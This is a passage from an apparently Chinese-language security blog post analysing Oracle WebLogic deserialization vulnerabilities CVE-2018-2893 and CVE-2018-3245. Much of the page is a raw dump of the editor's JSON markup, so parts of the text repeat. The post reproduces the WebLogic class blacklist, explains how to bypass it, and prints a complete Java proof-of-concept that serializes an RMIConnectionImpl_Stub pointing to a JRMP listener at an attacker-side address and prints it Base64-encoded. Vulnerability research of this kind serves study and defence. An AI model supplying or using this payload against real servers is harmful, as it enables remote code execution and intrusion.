class="code-snippet__keyword">import</span> sun.rmi.transport.tcp.TCPEndpoint;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.management.remote.rmi.RMIConnectionImpl_Stub;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.ObjID;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Random;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CVE_2018_3245</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Object <span class="code-snippet__title">getObject</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        ObjID id = <span class="code-snippet__keyword">new</span> ObjID(<span class="code-snippet__keyword">new</span> Random().nextInt());</span></code><code><span class="code-snippet_outer">        TCPEndpoint tcpEndpoint = <span class="code-snippet__keyword">new</span> TCPEndpoint(<span class="code-snippet__string">&#34;10.51.52.245&#34;</span>, <span class="code-snippet__number">6666</span>);</span></code><code><span class="code-snippet_outer">        UnicastRef unicastRef = <span class="code-snippet__keyword">new</span> UnicastRef(<span class="code-snippet__keyword">new</span> LiveRef(id, tcpEndpoint, <span class="code-snippet__keyword">false</span>));</span></code><code><span class="code-snippet_outer">        RMIConnectionImpl_Stub stub = <span class="code-snippet__keyword">new</span> RMIConnectionImpl_Stub(unicastRef);</span></code><code><span class="code-snippet_outer">        ReferenceWrapper_Stub object = <span class="code-snippet__keyword">new</span> ReferenceWrapper_Stub(unicastRef);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> stub;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> IOException, ClassNotFoundException </span>{</span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream fout = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream objectOutputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(getObject());</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        inputStream.readObject();</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.44166666666666665" style="width: 377px;height: 174px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=26cc0b4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU79JXQuHvJ6IL5cQIsicEVd52TuT9cCK6oFYncW7NxFNaRvoohK4Mt6g%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.22407407407407406" style="width: 354px;height: 83px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bc9a9e09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU8Qa7sWQ1EnaWQVibaB6WBY3JiaayJHf8p8LsZO8ia4b6OGrv4PsUOmayw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">其他可利用类就不赘述了。</span></p><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);"></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JiKz-1677059095760&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BC8t-1677059095758&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2018-2893&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5dqb-1677052922805&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N2at-1677052922804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库，就不赘述了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QAEc-1677118179888&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8q3I-1677118179886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时黑名单进行了更新：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1b2R-1677118416580&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;wrap&#34;:true,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdMs-1677118416577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YXJa-1677118416576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private static final String[] DEFAULT_BLACKLIST_PACKAGES = { \&#34;org.apache.commons.collections.functors\&#34;, \&#34;com.sun.org.apache.xalan.internal.xsltc.trax\&#34;, \&#34;javassist\&#34;, \&#34;java.rmi.activation\&#34;, \&#34;sun.rmi.server\&#34; };&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vYmC-1677118416579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVIH-1677118416578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONNN-1677118419036&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SFOz-1677118419034&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private static final String[] DEFAULT_BLACKLIST_CLASSES = { \&#34;org.codehaus.groovy.runtime.ConvertedClosure\&#34;, &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ssxn-1677118570533&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l9CS-1677118570531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;org.codehaus.groovy.runtime.ConversionHandler\&#34;, &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5oks-1677118571945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Mc0-1677118571944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;org.codehaus.groovy.runtime.MethodClosure\&#34;, \&#34;org.springframework.transaction.support.AbstractPlatformTransactionManager\&#34;,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IS99-1677118573842&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NOKE-1677118573840&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;java.rmi.server.UnicastRemoteObject\&#34;, &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M0r5-1677118575449&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yOa7-1677118575448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;java.rmi.server.RemoteObjectInvocationHandler\&#34; };&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PtpL-1677118180203&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBzv-1677118180202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;新增&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y55B-1677118587601&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdm3-1677118587594&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zNeu-1677118587593&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java.rmi.activation.*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zXFZ-1677118587596&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k9yX-1677118587595&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sun.rmi.server.*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QIhW-1677118587598&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2qHv-1677118587597&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java.rmi.server.RemoteObjectInvocationHandler&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Bzo-1677118587600&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SURv-1677118587599&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java.rmi.server.UnicastRemoteObject&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;markdown&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSww-1676858105412&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Evj-1676858105413&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sZLD-1677118813643&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGzP-1677118813641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2018-3245&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7qRH-1677119045959&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HdLM-1677119045960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中有提到新增黑名单包名/类名：&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.activation.*,sun.rmi.server.*&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;,&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.server.RemoteObjectInvocationHandler&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;,&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.server.UnicastRemoteObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jz1J-1677118593624&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0QFp-1677118593623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;但对我们完整的反序列化流程中真正有影响的只有&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.server.RemoteObjectInvocationHandler类的使用，若有一个类满足：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WBZj-1677119416591&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cgGX-1677119416589&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;1.不在黑名单中&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;023H-1677119496948&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTfU-1677119496946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;2.继承自java.rmi.server.RemoteObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DHJL-1677119428702&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i1Yy-1677119428700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;3.readObject逻辑未重写，或不影响readExtenal方法调用&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZDnt-1677119530692&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZMez-1677119530690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;即可绕过黑名单检测。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d0pt-1677141104981&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6086/WEBRESOURCE00bef8cfee357733229ac6e7296008ca&#34;,&#34;width&#34;:346,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6086/WEBRESOURCE00bef8cfee357733229ac6e7296008ca&#34;,&#34;initialSize&#34;:{&#34;width&#34;:346,&#34;height&#34;:1102},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ag5d-1677059361197&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QMEd-1677059361195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;随便找一个都行，比如RMIConnectionImpl_Stub&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LLpN-1677142944277&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a7h0-1677142944203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LTEY-1677142944202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iHm5-1677142944205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rWKL-1677142944204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.server.UnicastRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4DIg-1677142944207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aa6l-1677142944206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.LiveRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IfDM-1677142944209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LGRt-1677142944208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.tcp.TCPEndpoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GuVm-1677142944211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IMMN-1677142944210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iiJ8-1677142944213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f5MY-1677142944212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.management.remote.rmi.RMIConnectionImpl_Stub;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fGoV-1677142944215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j4a9-1677142944214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OgXc-1677142944221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Snw9-1677142944220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.ObjID;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ph5s-1677142944226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UxG8-1677142944224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ieuf-1677142944228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ykR-1677142944227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Random;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2lTp-1677142944230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wbw6-1677142944229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7LP-1677142944232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uBB7-1677142944231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2018_3245 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jfww-1677142944234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3FDj-1677142944233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getObject() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UPjf-1677142944236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BhSB-1677142944235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID(new Random().nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Pt9-1677142944238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HoZB-1677142944237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint tcpEndpoint = new TCPEndpoint(\&#34;10.51.52.245\&#34;, 6666);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S4ap-1677142944240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CtSY-1677142944239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nZnb-1677142944242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L2NZ-1677142944241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Itzp-1677142944244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YyEJ-1677142944243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jXY9-1677142944246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FrDr-1677142944245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return stub;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R9b7-1677142944248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1vlC-1677142944247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Plks-1677142944250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0hit-1677142944249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IlfE-1677142944252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vXZV-1677142944251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws IOException, ClassNotFoundException 